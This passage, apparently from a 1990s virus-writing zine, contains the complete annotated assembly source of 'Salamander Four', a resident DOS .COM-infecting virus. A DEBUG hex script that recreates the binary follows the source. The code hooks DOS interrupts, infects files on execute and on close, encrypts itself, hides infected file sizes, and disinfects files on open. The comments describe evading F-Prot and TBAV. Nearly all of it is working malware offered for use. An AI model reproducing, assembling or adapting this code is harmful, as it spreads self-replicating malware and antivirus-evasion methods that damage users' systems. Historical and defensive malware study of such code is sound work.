but I don't like optimizing so I won't...;) (* This was also solved.. - TU *) 


Oh btw this was writting purely for investigative purpose and it doesn't 
contain any payload... but it's on hell of a fast replicator and quite hard 
to spot once it's resident...hehe...



many thanks to :



        tu/ir, for helping me to get started... (* and more :)) - TU *) 
        cz/ir, for his general knowledge...

        mm/ir, truth is sometimes stranger than fiction...yeah ;) 
        qark/vlad, for trying to help me with fprots alarms 
        darkman/vlad, for giving me a solution to fprots alarms ;) 
        anders gavare, for giving me a reason to write viruses ... 




     .model tiny

     .code

     org 100h



resid              equ 3099h

fileid             equ 's'

time_stamp         equ 10001b        ;stealth marker...



   host:

     jmp short entry

     db 90h,fileid



   vstart:

   entry:

     call $+3

     gd:

     mov si,sp

     mov bp, word ptr [si]

     sub bp,offset gd



     lea si, [bp+offset vstart]



     call decrypt                    ;this call will probably trigger fprot! 
                                     ;but tbav doesn't note shit... 


encrypted_start:

     mov ax,resid

     int 21h

     cmp ax,bx

     je alreadyres                    ;check if already resident 


gores:

     mov ax,ds                        ;ds=psp

     dec ax

     mov ds,ax                        ;ds=mcb



     xor di,di

     cmp byte ptr ds:[di],'Z'         ;end of chain ?

     jne nomem



     sub word ptr ds:[di+3],(hend-vstart)/16+1        ;sub dos memory 


     sub word ptr ds:[di+12h],(hend-vstart)/16+1      ;get tom from PSP:2 and 
     mov ax, word ptr ds:[di+12h]                     ;sub 
     mov es,ax                                        ;es=virus segment... 


     push cs

     pop  ds



    copy2mem:

     cld

     lea si,[bp+offset vstart]

     xor di,di

     mov cx,(vend-vstart)/2+1

     rep movsw                                          ;copy virus to 
                                                        ;allocated memory 


    hook21h:

     xor ax,ax

     mov ds,ax                                          ;ds points to int-table 
     push ds



     lds ax,ds:[21h*4]

     mov word ptr es:[o21ho-vstart],ax

     mov word ptr es:[o21hs-vstart],ds                  ;store int 21h's vector 


     pop ds                ;ds=0



     mov word ptr ds:[21h*4],0

     mov word ptr ds:[21h*4+2],1eh                      ;seg of hole in mem... 


     mov byte ptr ds:[1e0h],0eah                        ;jmp dword ptr 
     mov word ptr ds:[1e1h],(n21h-vstart)               ; es:n21-vstart 
     mov word ptr ds:[1e3h],es                          ;this makes i21h's 
                                                        ;vector 
                                                        ;point to 0eh:0h and 
                                                        ;thats were we placed 
                                                        ;a jmp far to 
                                                        ;es:(n21h-vstart) ;)) 
   nomem:

   alreadyres:

   return_com:

     inc sp                ;this is to restore the sp to 0fffeh, done b'cos 
     inc sp                ;of the delta offset calc in the begining... 
                           ;don't know if it's nessesary thou... 


     push cs cs            ;cs=ds=es

     pop es ds



     mov di,100h

     push di

     lea si,[bp+offset hbytes]

     movsw

     movsw



     ret                  ; jmp 100h to start host



;----------------------------------------------------------------------------- 
; This is our new int 24h handler. ie. our new critical error handler 
; it'll assume no error

  n24h:

     mov al,0

     iret

;----------------------------------------------------------------------------- 
;new int 21h handler

; TU>

; This is totally fucked up, he could have used

; direct-jumps for example the stealth-routines,

; but since this is an early beta, he didn't ;).

; Thrust me, this was fixed, too.



n21h:

     cmp ax,resid

     jne exec

     mov bx,resid

     iret                        ;so virus wont load resident twice+ 


   exec:

     cmp ax,4b00h

     jne cinfect

     jmp infect

   cinfect:

     cmp ah,3eh                ;close ?

     jne odisinf

     jmp close_infect          ;infect!

   odisinf:

     cmp ah,3dh

     jne ext_open

     jmp open_disinfect        ;if it's a file open, then disinfect! 
   ext_open:

     cmp ax,6c00h

     jne _11

     jmp extended_open        ;if it's a extended open (F-prot for example...) 
   _11:

     cmp ah,11h

     jne _12

     jmp short fcb_stealth   ;stealth during a dos-dir, find first via handles 
   _12:

     cmp ah,12h

     jne _4e

     jmp short fcb_stealth                ;stealth during a dos-dir, find next 
   _4e:

     cmp ah,4eh

     jne _4f

     jmp short handle_stealth            ;stealth during normal find first 
   _4f:

     cmp ah,4fh

     jne o21h

     jmp short handle_stealth           ;stealth during normal find next 


o21h: db 0eah

o21ho dw 0

o21hs dw 0                              ;jmp far o21hs:o21ho 
      ret                               ;used for calls to old int 21h... 
;----------------------------------------------------------------------------- 
;This routine will hide the size-increase of an infected .com when using 
; 11h/12h or 4eh/4fh



; TU>

; I believe these two routines were put togheter into one in a latter 
; version.. Sorry ;).



fcb_stealth:                            ;11h/12h

     pushf

     push cs

     call o21h                          ;fake a call to old int handler 
     or al,al

     jnz stealth_error



     pushf

     push ax bx es                   ;dont destroy



     mov ah,51h

     int 21h                            ;get psp addr.



     mov es,bx

     cmp bx,es:[16h]                    ;dos calling?

     jne dont_stealth



     mov bx,dx

     mov al,[bx]                        ;current drive, if al=ffh then ext.fcb 


     push ax

     mov ah,2Fh

     int 21h                            ;get dta addr. es:bx 
     pop ax



     inc al                             ;if al=ffh => al=00 
     jnz regular_fcb                    ;if al=00 then it's an extended fcb 


     add     bx,7                       ;skip dos-reserved and attribs... 
regular_fcb:

     add bx,3                        ;the byte diffrence between the offset 
                                     ;to the filesize using fcb/handles 
     mov ax,es:[bx+14h]              ;ax=timestamp        (14h+3=17h ;) 
     jmp short stealth_it            ;hide the size



handle_stealth:                      ;4e/4f

     pushf

     push cs

     call o21h                       ;fake int call

     jc stealth_error                ;there was an error so don't stealth 
                                     ; (such as no files to find.. ) 
     pushf

     push ax bx es                   ;save



     mov ah,2fh

     int 21h                         ;get dta addr., es:bx points to it... 


     mov ax,es:[bx+16h]              ;get time stamp



stealth_it:



     and al,00011111b                ;kill all but secs... 
     xor al,time_stamp               ;xor with our marker

     jnz dont_stealth                 ;not ours :(



     cmp word ptr es:[bx+1ah],(vend-vstart)        ;if fcb bx=bx+3 
     jb  dont_stealth                              ;too small to be us... 
     cmp word ptr es:[bx+1ch],0                    ;if fcb bx=bx+3 
     ja  dont_stealth                              ;too large for us...>64k 


     sub word ptr es:[bx+1ah],(vend-vstart)        ;decrease the filesize 
     sbb word ptr es:[bx+1ch],0                    ; (* WHY ?? - TU *) 


dont_stealth:

     pop es bx ax

     popf



stealth_error:                        ;if there was an error during int call 


stealth_done:

     retf 2



;----------------------------------------------------------------------------- 
;This is our infection routine, ds:dx points to filename upon entry 


infect:

     push ax bx cx dx di si ds es                    ;don't destroy regs/segs 
     mov byte ptr cs:(cflag-vstart),0                ;no closeinfection... 
   xchg_i24h:

     mov ax,3524h

     int 21h                        ;get int 24h's vector in es:bx 
     push es bx                     ;save es:bx so we can restore the handler... 


     push ds dx cs                  ;save ds:dx=filename

     pop ds                         ;ds=cs



     mov ah,25h

     mov dx,(n24h-vstart)

     int 21h                        ;set int 24h's vector to our handler 


     pop dx ds                      ;ds:dx=filename

     mov ax,4300h

     int 21h

     push cx                        ;get and save attribs



     mov ax,4301h

     push ax ds dx

     xor cx,cx

     int 21h                        ;clear attribs



     call openfile_rw               ;open file r/w



infect_close:

     push cs cs

     pop  ds es                     ;ds=cs=es



     mov ah,3fh

     mov dx,(hbytes-vstart)

     mov cx,4

     int 21h                        ;read first 3 bytes



     cmp byte ptr ds:[hbytes-vstart],'M'

     je jmpclose                              ; *.exe

     cmp byte ptr ds:[hbytes-vstart],'Z'

     jne @okey                                ; *.exe

   jmpclose:

    jmp close

   @okey:

     cmp byte ptr ds:[hbytes-vstart+3],fileid

     je jmpclose                                ; infected by us already 


     call get_name                        ;get filename via sft's, in es:di 
     cmp word ptr es:[di],'OC'            ;command.com

     je jmpclose                          ;then close the file... 


     mov ax,5700h

     int 21h

     push cx dx                           ;read files time/date and save them 


     Call Go_eof                          ;go to end of file... ax=filesize on 
                                          ;return



     cmp ax,1024

     jb restore

     cmp ax,63000

     ja restore                           ;too small/large ? 


     sub ax,3                                    ;jmp entry 
     mov word ptr ds:[nbytes-vstart+1],ax        ;save jmp loc 


   get_encval:

     mov ah,2ch

     int 21h

     or dl,dl

     jz get_encval                                ;get new value if enc_val=0 


     mov word ptr ds:[encval-vstart],dx           ;save it. 


   copy2buf:

     cld

     mov ax,8d00h

     mov es,ax                                     ;es=8d00h 
     xor si,si

     xor di,di

     mov cx,(vend-vstart)/2+1

     rep movsw                                     ;copy virus to encbuf 


   enc_buf:

     mov si,(encrypted_start-vstart)

     call encrypt                        ;encrypt es:si



   write:

     push es

     pop  ds                                ;es=ds=8d00h

     mov ah,40h

     mov cx,(vend-vstart)

     cwd                                    ;write from 8d00h:0000h 
     int 21h                                ;write encrypted virus to file 


     push cs

     pop ds                                 ;cs=ds



     xor ax,ax

     call move_fp                           ;go to begining of file 


     mov ah,40h

     mov cx,4

     mov dx,(nbytes-vstart)

     int 21h                                ;write jmp to virus entry 


   restore:

     mov ax,5701h

     pop dx cx



     and cl,11100000b                       ;zero sec's

     or cl,time_stamp                       ;mark with our infection marker 
     int 21h                                ;restored files time/date stamp 


   close:

     cmp byte ptr cs:(cflag-vstart),1        ;if it is a infection on 
     je goon2                                ;close don't close file... 
                                             ;and don't restore attribs 
     mov ah,3eh

     int 21h



     pop dx ds ax cx                         ;restore ax=4301h, ds:dx=filename 
     int 21h



   restore_i24h:

     mov ax,2524h

     pop dx ds                               ;ds:dx points to old int 24h 
     int 21h                                 ;handler





   goon2:

     mov byte ptr cs:(cflag-vstart),0          ;no close infection anymore 


dah:        pop es ds si di dx cx bx ax        ;restore all segs/regs 
duh:        jmp o21h                           ;do old int 21h 
;----------------------------------------------------------------------------- 
close_infect:

     cmp bx,        4                ;don't close AUX/NULL/CON... 
     jbe duh                         ;jmp to jmp to org 21h ;) 


     push ax bx cx dx di si ds es        ;don't destroy regs/segs 


     call get_name

     add di,8                            ;es:di file ext



     cmp word ptr es:[di],'OC'

     jne noclose

     cmp word ptr es:[di+2],'M'

     jne noclose



     mov byte ptr es:[di-26h],2        ;mark file as open in r/w mode 


     xor ax,ax

     call move_fp                        ;go to begining of file 


     mov byte ptr cs:(cflag-vstart),1        ;mark it as a close infection... 
     jmp infect_close



noclose:

     jmp short dah

     pop es ds si di dx cx bx ax        ;restore all segs/regs 
     jmp o21h

;----------------------------------------------------------------------------- 
;This routine will disinfect an infected .com file on open! 


extended_open:

     cmp dx,1

     je yessir

     jmp o21h                ;don't do anything...

   yessir:

     mov ah,3dh

     mov al,bl

     mov dx,si                ;filename ds:si=ds:dx...

     mov byte ptr cs:(oflag-vstart),1



open_disinfect:                          ;ds:dx=filename... 
     push ax bx cx dx di si ds es        ;save all regs/segs... 


     push ds

     pop  es                             ;ds=es



     mov cx,64                        ;path+fname= max 65

     mov di,dx                        ;offs to filename

     mov al,'.'                       ;look for '.'

     repne scasb                      ;repeat scansingel byte until cx=0 
                                      ;offset to '.'+1 in di 
     cmp word ptr ds:[di],'OC'

     je smallc

     cmp word ptr ds:[di],'oc'

     jne nocom

      smallc:

     cmp byte ptr ds:[di+2],'M'

     je openfile

     cmp byte ptr ds:[di+2],'m'

     je openfile                      ;check if it's a com or COM 


     nocom:

        jmp no_opendis



     openfile:

     call openfile_rw                 ;open file r/w



     push cs cs

     pop  ds es                       ;cs=ds=es



     mov ax,5700h

     int 21h

     push cx dx                       ;save time/date



   read_f4:

     mov ah,3fh

     mov cx,4

     mov dx,(hbytes-vstart)         ;use hbytes it won't be at first... 
     int 21h                        ;read first 4 bytes... 


   chk_markers:

     cmp byte ptr ds:[hbytes-vstart+3],fileid        ;ie. our marker 
     jne close_dis

     cmp byte ptr ds:[hbytes-vstart],0e9h         ;check if it is a jmp. 
     jne close_dis                                ;if itsn't it can't be us... 


     call go_eof                                  ;go to end of file, 
                                                  ;ax=fsize on return 


     mov dx,ax                                    ;store fsize in dx too 
     sub ax,(vend-entry+3)

     cmp word ptr ds:[hbytes-vstart+1],ax         ;check if the jmp is to 
     jne close_dis                                ;our supposed entry point 


     push dx                                      ;push fsize 


     xor ax,ax

     sub dx,(vend-hbytes)                         ;goto hbytes offs. in file 
     call go_to



     mov ah,3fh

     mov cx,4

     mov dx,(hbytes-vstart)

     int 21h                                      ;store bytes read in memory 


     xor ax,ax

     call move_fp                                 ;go tof



     mov ah,40h

     mov dx,(hbytes-vstart)

     mov cx,4

     int 21h



     pop dx



     sub dx,(vend-vstart)                        ;dx=size of original file 
     xor ax,ax

     call go_to                                  ;go to bof+cx:dx ie 
                                                 ;fsize-vsize 


     mov ah,40h

     xor cx,cx

     int 21h                                     ;trunc file.... 


close_dis:

     mov ax,5701h

     pop dx cx

     int 21h                                     ;restore time/date 


     mov ah,3eh

     pushf

     push cs

     call o21h                                   ;close file 
no_opendis:                                      ;the file was never opened 
     pop es ds si di dx cx bx ax                 ;restore all segs/regs 
     cmp byte ptr cs:(oflag-vstart),1

     jne @dduh

     mov ax,6c00h                                ;restore ax 
     mov dx,1                                    ;restore dx after 
                                                 ;disinfecting... 
     mov byte ptr cs:(oflag-vstart),0            ;restore to no-extended open... 
@dduh:        jmp o21h

;----------------------------------------------------------------------------- 
   get_name:

     push bx

     mov ax,1220h                       ;get jft for handle at es:di 
     int 2fh



     mov ax,1216h                       ;get system file table 
     mov bl,byte ptr es:[di]            ;for handle index in bx 
     int 2fh

     pop bx

     add di,20h                         ;es:di+20h points to file fname 


     ret                                ;return

;----------------------------------------------------------------------------- 
go_eof:

     mov al,2

move_fp:

     cwd

go_to:

     xor cx,cx

     mov ah,42h

     int 21h

      ret

;----------------------------------------------------------------------------- 
;Open file proc. via call to original int 21h... only saves 2 bytes or sumthin 
;ds:dx->filename



Openfile_rw:

     mov ax,3d02h

     pushf

     push cs

     call o21h

     xchg bx,ax

     ret                ;return to caller with filehandle in bx... 
;----------------------------------------------------------------------------- 
;DATA AREA



oflag  db 0                                ;extended open marker 
cflag  db 0                                ;close infection marker 
tag    db '[- Salamander Four -] (c) by Blonde in 1994'

nbytes db 0e9h,0,0,fileid                ;newbytes



;----------------------------------------------------------------------------- 
encrypt_end:



hbytes db 0cdh,20h,0,0                ;HOSTbytes, not ecrypted due to disinfect 


;----------------------------------------------------------------------------- 
encrypt:decrypt:

     mov cx,(encrypt_end-encrypted_start)/2

  xorl:

     db 26h

     db 81h,34h

encval  dw 0                        ;xor es:[si],encval

     inc si

     inc si

     loop xorl

     ret



vend:                                        ;end of virus code excluding heap 
hstart:

hend:                                        ;end of virus code including heap 
     end host

==================================================================
============== 
N S4.COM

E 0100 EB 02 90 73 E8 00 00 8B F4 8B 2C 81 ED 07 01 8D

E 0110 B6 04 01 E8 8D 03 B8 99 30 CD 21 3B C3 74 55 8C

E 0120 D8 48 8E D8 33 FF 80 3D 5A 75 49 83 6D 03 3B 83

E 0130 6D 12 3B 8B 45 12 8E C0 0E 1F FC 8D B6 04 01 33

E 0140 FF B9 D7 01 F3 A5 33 C0 8E D8 1E C5 06 84 00 26

E 0150 A3 CA 00 26 8C 1E CC 00 1F C7 06 84 00 00 00 C7

E 0160 06 86 00 1E 00 C6 06 E0 01 EA C7 06 E1 01 84 00

E 0170 8C 06 E3 01 44 44 0E 0E 07 1F BF 00 01 57 8D B6

E 0180 9F 04 A5 A5 C3 B0 00 CF 3D 99 30 75 04 BB 99 30

E 0190 CF 3D 00 4B 75 03 E9 A8 00 80 FC 3E 75 03 E9 91

E 01A0 01 80 FC 3D 75 03 E9 DE 01 3D 00 6C 75 03 E9 C2

E 01B0 01 80 FC 11 75 02 EB 1B 80 FC 12 75 02 EB 14 80

E 01C0 FC 4E 75 02 EB 41 80 FC 4F 75 02 EB 3A EA 00 00

E 01D0 00 00 C3 9C 0E E8 F5 FF 0A C0 75 62 9C 50 53 06

E 01E0 B4 51 CD 21 8E C3 26 3B 1E 16 00 75 4D 8B DA 8A

E 01F0 07 50 B4 2F CD 21 58 FE C0 75 03 83 C3 07 83 C3

E 0200 03 26 8B 47 14 EB 13 9C 0E E8 C1 FF 72 30 9C 50

E 0210 53 06 B4 2F CD 21 26 8B 47 16 24 1F 34 11 75 1A

E 0220 26 81 7F 1A AC 03 72 12 26 83 7F 1C 00 77 0B 26

E 0230 81 6F 1A AC 03 26 83 5F 1C 00 07 5B 58 9D CA 02

E 0240 00 50 53 51 52 57 56 1E 06 2E C6 06 6B 03 00 B8

E 0250 24 35 CD 21 06 53 1E 52 0E 1F B4 25 BA 81 00 CD

E 0260 21 5A 1F B8 00 43 CD 21 51 B8 01 43 50 1E 52 33

E 0270 C9 CD 21 E8 EE 01 0E 0E 1F 07 B4 3F BA 9B 03 B9

E 0280 04 00 CD 21 80 3E 9B 03 4D 74 07 80 3E 9B 03 5A

E 0290 75 02 EB 74 80 3E 9E 03 73 74 F7 E8 A9 01 26 81

E 02A0 3D 43 4F 74 ED B8 00 57 CD 21 51 52 E8 AB 01 3D

E 02B0 00 04 72 47 3D 18 F6 77 42 2D 03 00 A3 98 03 B4

E 02C0 2C CD 21 0A D2 74 F8 89 16 A5 03 FC B8 00 8D 8E

E 02D0 C0 33 F6 33 FF B9 D7 01 F3 A5 BE 12 00 E8 C3 01

E 02E0 06 1F B4 40 B9 AC 03 99 CD 21 0E 1F 33 C0 E8 6B

E 02F0 01 B4 40 B9 04 00 BA 97 03 CD 21 B8 01 57 5A 59

E 0300 80 E1 E0 80 C9 11 CD 21 2E 80 3E 6B 03 01 74 11

E 0310 B4 3E CD 21 5A 1F 58 59 CD 21 B8 24 25 5A 1F CD

E 0320 21 2E C6 06 6B 03 00 07 1F 5E 5F 5A 59 5B 58 E9

E 0330 9B FE 83 FB 04 76 F8 50 53 51 52 57 56 1E 06 E8

E 0340 05 01 83 C7 08 26 81 3D 43 4F 75 1A 26 83 7D 02

E 0350 4D 75 13 26 C6 45 DA 02 33 C0 E8 FF 00 2E C6 06

E 0360 6B 03 01 E9 10 FF EB BF 07 1F 5E 5F 5A 59 5B 58

E 0370 E9 5A FE 83 FA 01 74 03 E9 52 FE B4 3D 8A C3 8B

E 0380 D6 2E C6 06 6A 03 01 50 53 51 52 57 56 1E 06 1E

E 0390 07 B9 40 00 8B FA B0 2E F2 AE 81 3D 43 4F 74 06

E 03A0 81 3D 63 6F 75 0C 80 7D 02 4D 74 08 80 7D 02 6D

E 03B0 74 02 EB 74 E8 AD 00 0E 0E 1F 07 B8 00 57 CD 21

E 03C0 51 52 B4 3F B9 04 00 BA 9B 03 CD 21 80 3E 9E 03

E 03D0 73 75 47 80 3E 9B 03 E9 75 40 E8 7D 00 8B D0 2D

E 03E0 AF 03 39 06 9C 03 75 32 52 33 C0 83 EA 11 E8 6C

E 03F0 00 B4 3F B9 04 00 BA 9B 03 CD 21 33 C0 E8 5C 00

E 0400 B4 40 BA 9B 03 B9 04 00 CD 21 5A 81 EA AC 03 33

E 0410 C0 E8 49 00 B4 40 33 C9 CD 21 B8 01 57 5A 59 CD

E 0420 21 B4 3E 9C 0E E8 A5 FD 07 1F 5E 5F 5A 59 5B 58

E 0430 2E 80 3E 6A 03 01 75 0C B8 00 6C BA 01 00 2E C6

E 0440 06 6A 03 00 E9 86 FD 53 B8 20 12 CD 2F B8 16 12

E 0450 26 8A 1D CD 2F 5B 83 C7 20 C3 B0 02 99 33 C9 B4

E 0460 42 CD 21 C3 B8 02 3D 9C 0E E8 61 FD 93 C3 00 00

E 0470 5B 2D 20 53 61 6C 61 6D 61 6E 64 65 72 20 46 6F

E 0480 75 72 20 2D 5D 20 28 63 29 20 62 79 20 42 6C 6F

E 0490 6E 64 65 20 69 6E 20 31 39 39 34 E9 00 00 73 CD

E 04A0 20 00 00 B9 C4 01 26 81 34 00 00 46 46 E2 F7 C3

RCX

03B0

W

Q

